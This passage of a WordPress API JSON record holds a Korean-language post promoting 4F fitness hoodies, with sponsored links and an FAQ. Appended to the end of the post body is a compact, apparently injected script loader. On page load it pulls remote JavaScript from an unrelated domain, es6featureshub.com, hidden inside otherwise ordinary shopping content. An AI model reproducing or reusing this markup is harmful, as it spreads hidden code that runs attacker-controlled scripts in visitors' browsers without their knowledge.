\uc704\ud574 \uc870\uc808 \uac00\ub2a5\ud55c \ub048\uc774 \ub2ec\ub9b0 \ud1b5\uae30\uc131\uc774 \uc88b\uc740 \uba54\uc2dc \uc548\uac10 \ud6c4\ub4dc.<\/p>\n<p>\ucd94\uac00 \uae30\ub2a5:<\/p>\n<ul>\n<li>2\uac1c\uc758 \uc624\ud508 \uc0ac\uc774\ub4dc \ud3ec\ucf13<\/li>\n<li>\ub77c\uae00\ub7f0 \uc2ac\ub9ac\ube0c\ub294 \uc790\uc720\ub85c\uc6b4 \uc6c0\uc9c1\uc784\uc744 \uc81c\uacf5\ud569\ub2c8\ub2e4<\/li>\n<li>\ub2e8\uba74 \ube0c\ub7ec\uc2f1 \ub2c8\ud2b8 \uc6d0\ub2e8<\/li>\n<li>\uc18c\ub9e4\uc640 \ubc11\ub2e8\uc5d0 \ub9ac\ube0c \ubca0\uc774\uc2a4 \ub808\uc774\uc5b4<\/li>\n<li>\ubd80\ub4dc\ub7ec\uc6b4 \ucd09\uac10\uc758 \ub2c8\ud2b8 \uc6d0\ub2e8<\/li>\n<li>\uc7ac\ud65c\uc6a9 \uc7ac\ub8cc\uc758 \ud568\ub7c9\uc774 \ub192\uc74c<\/li>\n<li>\ud131 \ubcf4\ud638\ub300\uac00 \uc788\ub294 \uc804\uccb4 \uae38\uc774\uc758 \uc9c0\ud37c<\/li>\n<\/ul>\n<hr \/>\n<h3>4. \ub0a8\uc131\uc6a9 \uc9c0\ud37c \ud2b8\ub808\uc774\ub2dd \uc2a4\uc6e8\ud2b8\uc154\uce20 -\uc5c5 \ud2b8\ub808\uc774\ub2dd - \uadf8\ub9b0<\/h3>\n<p>4F\uc640 \ud568\uaed8 \uc2a4\ud0c0\uc77c\uacfc \ud3b8\uc548\ud568\uc744 \uc990\uaca8\ubcf4\uc138\uc694. <a href=\"https:\/\/slinka.pl\/kr\/i854\/\" target=\"_blank\" rel=\"nofollow noopener sponsored\">Mens\uadf8\ub9b0 \uc9d1\uc5c5 \ud2b8\ub808\uc774\ub2dd \uc2a4\uc6fb\uc154\uce20<\/a>. \uc870\uc808 \uac00\ub2a5\ud55c \ub048\uc774 \ub2ec\ub9b0 \ud1b5\ud569 \ud6c4\ub4dc\uc640 \ud1b5\uae30\uc131\uc774 \uc88b\uc740 \uba54\uc2dc \uc548\uac10\uc774 \ud2b9\uc9d5\uc785\ub2c8\ub2e4. 4FWarm \uae30\uc220\uc740 \uc18c\uc7ac\uc758 \ud2b9\uc218 \uad6c\uc870 \ub355\ubd84\uc5d0 \ub530\ub73b\ud568\uacfc \ud3b8\uc548\ud568\uc744 \uc720\uc9c0\ud574\uc90d\ub2c8\ub2e4.<\/p>\n<p>\ucd94\uac00 \uae30\ub2a5:<\/p>\n<ul>\n<li>2\uac1c\uc758 \uc624\ud508 \uc0ac\uc774\ub4dc \ud3ec\ucf13<\/li>\n<li>\ub77c\uae00\ub7f0 \uc2ac\ub9ac\ube0c<\/li>\n<li>\ubc11\ub2e8\uacfc \uc18c\ub9e4\ub294 \ubc11\ub2e8\uc5d0 \uc2e0\ucd95\uc131 \uc788\ub294 \uc18c\uc7ac\ub85c \ub9c8\uac10<\/li>\n<li>\ubd80\ub4dc\ub7ec\uc6b4 \ucd09\uac10\uc758 \ub2c8\ud2b8 \uc6d0\ub2e8<\/li>\n<li>\ud131 \ubcf4\ud638\ub300\uac00 \uc788\ub294 \uc804\uccb4 \uae38\uc774\uc758 YKK \uc9c0\ud37c<\/li>\n<\/ul>\n<p><strong>\ub610\ud55c \uc77d\uc5b4\ubcf4\uc138\uc694 \u2013 <a href=\"https:\/\/slinka.pl\/kr\/spodenki-do-joggingu\/\">\uc2a4\ud0c0\uc77c\uacfc \ud3b8\uc548\ud568\uc73c\ub85c \ub2ec\ub9ac\uc138\uc694: \ucd5c\uc801\uc758 \uc131\ub2a5\uc744 \uc704\ud55c \ucd5c\uace0 \ud3c9\uac00 \uc870\uae45 \ubc18\ubc14\uc9c0<\/a><\/strong><\/p>\n<h3>\uc560\ud50c\ub9ac\ucf00\uc774\uc158<\/h3>\n<p><a href=\"https:\/\/slinka.pl\/kr\/i854\/\" target=\"_blank\" rel=\"nofollow noopener sponsored\">\ud53c\ud2b8\ub2c8\uc2a4 \ubc0f \ud2b8\ub808\uc774\ub2dd \uc2a4\uc6e8\ud2b8\uc154\uce20<\/a> 4\uce35\uc5d0 \uc788\ub294 \ubaa8\ub4e0 \uc81c\ud488\uc740 \uace0\ud488\uc9c8\uc774\uace0 \ud3b8\uc548\ud55c \uc18c\uc7ac\ub85c \ub9cc\ub4e4\uc5b4\uc84c\uc2b5\ub2c8\ub2e4. \uc774 \uc2a4\uc6e8\ud2b8\uc154\uce20\ub294 \uccb4\uc721\uad00 \uc6b4\ub3d9\uc5d0\ub9cc \uc801\ud569\ud55c \uac83\uc774 \uc544\ub2c8\ub77c \ub2e4\uc74c\uacfc \uac19\uc740 \uc6a9\ub3c4\ub85c\ub3c4 \uc0ac\uc6a9\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. <a href=\"https:\/\/en.wiktionary.org\/wiki\/wygodny\" target=\"_blank\" rel=\"noopener\">\ud3b8\uc548\ud55c<\/a> \ub77c\uc6b4\uc9c0\uc6e8\uc5b4. \uc790\uc138\ud55c \ub0b4\uc6a9\uc740 \ub2e4\uc74c\uc5d0\uc11c \ud655\uc778\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. <a href=\"https:\/\/slinka.pl\/kr\/\" target=\"_blank\" rel=\"noopener\">\uc2ac\ub9b0\uce74<\/a>.<\/p>\n<h3>\uc790\uc8fc \ubb3b\ub294 \uc9c8\ubb38<\/h3>\n<div class=\"su-accordion su-u-trim\"><div class=\"su-spoiler su-spoiler-style-default su-spoiler-icon-plus su-spoiler-closed\" data-scroll-offset=\"0\" data-anchor-in-url=\"no\"><div class=\"su-spoiler-title\" tabindex=\"0\" role=\"button\"><span class=\"su-spoiler-icon\"><\/span>\ud6c4\ub4dc\ud2f0\uac00 \ud53c\ud2b8\ub2c8\uc2a4\uc640 \ud2b8\ub808\uc774\ub2dd\uc5d0 \uc801\ud569\ud558\ub824\uba74 \uc5b4\ub5a4 \uc810\uc774 \ud544\uc694\ud560\uae4c\uc694?<\/div><div class=\"su-spoiler-content su-u-clearfix su-u-trim\">\ub9ce\uc740 \uc0ac\ub78c\ub4e4\uc774 \uc6b4\ub3d9\uacfc \ud6c8\ub828\uc744 \uc704\ud574 \uc2a4\uc6e8\ud2b8\uc154\uce20\ub97c \uc785\ub294 \uac83\uc744 \uc120\ud638\ud558\ub294\ub370, \uc6b4\ub3d9 \uc911\uc5d0 \ub530\ub73b\ud568\uacfc \ubcf4\ud638\ub825\uc744 \ub354\ud574 \uc8fc\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4. \ud1b5\uae30\uc131\uc774 \uc88b\uc740 \uc18c\uc7ac\ub85c \ub9cc\ub4e4\uc5b4\uc9c4 \ud6c4\ub4dc\ud2f0\ub294 \uad00\uc808\uc744 \ub530\ub73b\ud558\uac8c \uc720\uc9c0\ud558\uace0 \uacfc\ub3c4\ud55c \ub540\uc744 \ud758\ub9ac\uc9c0 \uc54a\uc73c\uba74\uc11c\ub3c4 \uc5f4\uc0ac\ubcd1\uc744 \uc608\ubc29\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4.<\/div><\/div>\n<div class=\"su-spoiler su-spoiler-style-default su-spoiler-icon-plus su-spoiler-closed\" data-scroll-offset=\"0\" data-anchor-in-url=\"no\"><div class=\"su-spoiler-title\" tabindex=\"0\" role=\"button\"><span class=\"su-spoiler-icon\"><\/span>\ud53c\ud2b8\ub2c8\uc2a4 \uc2a4\uc6e8\ud2b8\uc154\uce20\uc5d0 \uad8c\uc7a5\ud558\ub294 \ud2b9\uc815 \uc18c\uc7ac\uac00 \uc788\ub098\uc694?<\/div><div class=\"su-spoiler-content su-u-clearfix su-u-trim\">\ud53c\ud2b8\ub2c8\uc2a4 \uc2a4\uc6e8\ud2b8\uc154\uce20\ub294 \uc885\uc885 \uba74\uacfc \ud3f4\ub9ac\uc5d0\uc2a4\ud130 \uc18c\uc7ac\ub85c \ub9cc\ub4e4\uc5b4\uc9d1\ub2c8\ub2e4. \uba74\uc740 \ud1b5\uae30\uc131\uc774 \uc88b\uace0 \ubd80\ub4dc\ub7fd\uc9c0\ub9cc, \ud3f4\ub9ac\uc5d0\uc2a4\ud130\ub294 \ud6c4\ub4dc\ud2f0\uc5d0 \uac15\ub825\ud55c \uc2b5\uae30 \ubc30\ucd9c \uae30\ub2a5\uc744 \uc81c\uacf5\ud569\ub2c8\ub2e4. \ud53c\ud2b8\ub2c8\uc2a4 \ubc0f \uc6b4\ub3d9\uc6a9 \ud6c4\ub4dc \ud2f0\uc154\uce20\ub294 \ub9c8\ubaa8\uc5d0 \uac15\ud558\uc5ec \ud3b8\uc548\ud568\uacfc \uc544\ub291\ud568\uc744 \uc81c\uacf5\ud569\ub2c8\ub2e4.<\/div><\/div>\n<div class=\"su-spoiler su-spoiler-style-default su-spoiler-icon-plus su-spoiler-closed\" data-scroll-offset=\"0\" data-anchor-in-url=\"no\"><div class=\"su-spoiler-title\" tabindex=\"0\" role=\"button\"><span class=\"su-spoiler-icon\"><\/span>\ud53c\ud2b8\ub2c8\uc2a4 \uc2a4\uc6e8\ud2b8\uc154\uce20\ub294 \uc77c\ubc18 \uc2a4\uc6e8\ud2b8\uc154\uce20\uc640 \uc5b4\ub5bb\uac8c \ub2e4\ub985\ub2c8\uae4c?<\/div><div class=\"su-spoiler-content su-u-clearfix su-u-trim\">\uce90\uc8fc\uc5bc \uc2a4\uc6e8\ud2b8\uc154\uce20\uc640 \uc6b4\ub3d9\uc6a9 \uc2a4\uc6e8\ud2b8\uc154\uce20 \ubaa8\ub450 \ud3b8\uc548\ud55c \ub290\ub08c\uc744 \uc81c\uacf5\ud558\ub294 \ubc18\uba74, \ud53c\ud2b8\ub2c8\uc2a4 \uc2a4\uc6e8\ud2b8\uc154\uce20\ub294 \uc2a4\ud3ec\ud2f0\ud558\uace0 \uc6b4\ub3d9\uc801\uc778 \ub8e9\uacfc \uc774\uc911 \ud6c4\ub4dc\ub85c \ub354 \ub9ce\uc740 \uc720\uc5f0\uc131\uc744 \uc81c\uacf5\ud569\ub2c8\ub2e4. \uadf8\ub7ec\ub098 \uc77c\ubc18 \ud6c4\ub4dc \ud2f0\uc154\uce20\ub294 \uc18c\uc7ac\uac00 \uc2e0\ucd95\uc131\uc774 \ubcc4\ub85c \uc5c6\uc5b4\uc11c \uc6c0\uc9c1\uc784\uc774 \uc790\uc720\ub86d\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.<\/div><\/div><\/div><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Wi\u0119kszo\u015b\u0107 ludzi woli nosi\u0107 bluzy z kapturem na si\u0142owni\u0119. Dlaczego? Poniewa\u017c chc\u0105 wygl\u0105da\u0107 jak Rocky i ka\u017cdy inny zawodnik w filmach? Mo\u017ce. Lub mog\u0105 chcie\u0107 rozpocz\u0105\u0107 trening w bluzie z kapturem, poniewa\u017c szybciej si\u0119 rozgrzej\u0105 i nie musz\u0105 czu\u0107 si\u0119 skr\u0119powani, poniewa\u017cbluzy do fitnessu i treningu bez wysi\u0142ku ukrywaj\u0105 sw\u00f3j typ sylwetki. Jest milion powod\u00f3wbluzy [&hellip;]<\/p>","protected":false},"author":2,"featured_media":6272,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[40,122],"tags":[],"class_list":["post-6268","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-moda","category-4-f"],"_links":{"self":[{"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/posts\/6268","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/comments?post=6268"}],"version-history":[{"count":2,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/posts\/6268\/revisions"}],"predecessor-version":[{"id":11872,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/posts\/6268\/revisions\/11872"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/media\/6272"}],"wp:attachment":[{"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/media?parent=6268"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/categories?post=6268"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/tags?post=6268"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}